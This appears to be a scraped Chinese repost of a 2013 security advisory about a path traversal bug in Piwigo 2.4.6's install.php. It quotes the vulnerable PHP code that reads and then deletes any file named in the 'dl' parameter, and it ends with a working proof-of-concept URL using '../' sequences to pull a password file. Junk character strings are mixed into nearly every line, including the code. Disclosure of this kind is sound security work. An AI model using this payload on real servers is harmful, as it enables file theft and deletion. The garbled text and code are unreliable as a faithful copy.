Piwigo是用PHP编写的相册脚本。. q: _" N3 t+ k& a( b3 W
w2 J6 ~4 B$ m- k9 I
Piwigo 2.4.6及其他版本没有正确验证install.php脚本的 'dl'参数值,在实现上存在安全漏洞,攻击者可利用这些漏洞查看受影响计算机上的任意文件,删除受影响应用上下文内的任意文件。- F3 U, `2 N1 `" D9 G9 ]% X% z
====================================================================- m, }' e: G5 E/ L1 A( X2 }1 ~7 i
/install.php:
; t4 R% R8 j# ]) Z" v0 R-------------
# O& y& q# c% G m6 I: J* A, o113: if (!empty($_GET['dl']) && file_exists(PHPWG_ROOT_PATH.$conf['data_location'].'pwg_'.$_GET['dl']))
" x/ Z6 M; Q0 ?: i: l W3 }114: {
: |7 w! D |5 _/ @- O) i/ }115: $filename = PHPWG_ROOT_PATH.$conf['data_location'].'pwg_'.$_GET['dl'];
9 c: G& n+ a' G8 J* K7 Z% d116: header('Cache-Control: no-cache, must-revalidate');: o: }( ^6 q) {. ? H9 z
117: header('Pragma: no-cache');
5 \) K# X+ f9 Q% d118: header('Content-Disposition: attachment; filename="database.inc.php"');
' X! V* r8 {/ V- v l119: header('Content-Transfer-Encoding: binary');; F7 |, K N/ v' N# I! P
120: header('Content-Length: '.filesize($filename));
! g: P& c5 b: h% K8 V8 p: J3 ^7 p121: echo file_get_contents($filename);
7 W# o3 l% n7 A$ U) N& E, j0 w122: unlink($filename);( Z! a3 X3 V+ g+ g
123: exit();9 b3 l7 a3 P0 t- Y( C: D
124: }
' C. [2 d! S( k. f2 h====================================================================4 H! A: S, x" q- c% i
( @) C; a9 y% D* ?Tested on: Microsoft Windows 7 Ultimate SP1 (EN)
, ~. A( l1 G6 \0 J Apache 2.4.2 (Win32)0 Y6 @2 c0 L# Z! X, H& o# K
PHP 5.4.4
0 c F3 q' G. u. f0 R# C MySQL 5.5.25a
) r7 K" f1 d9 B# ~; c$ \& f & W/ J) o$ G! v4 z! `
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
8 @6 x0 G: e" | @zeroscience0 [, ?- n, R- p' \/ T
; R d1 E% H2 o l7 h' IAdvisory ID: ZSL-2013-51278 Y r9 j2 y) v% m+ o' ~
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2013-5127.php
* h; e# ?. b1 p5 J9 UVendor Patch: http://piwigo.org/bugs/view.php?id=2843
) j9 q. i% ^. l" D' `$ L; m 6 G6 N0 _( F1 R2 ]$ l/ t8 c" f
15.02.2013
" j$ h; ^7 I X; o 1 u F0 g h2 d! O7 D8 w1 ?& J
--
) H3 q1 j* q1 B0 j' f( C, thttp://localhost/piwigo/install.php?dl=../../../../../../lio_passwords.txt8 q2 K3 M8 y# ?1 a. t8 G& X
. f; k- x" A6 u4 f. u$ Z/ b |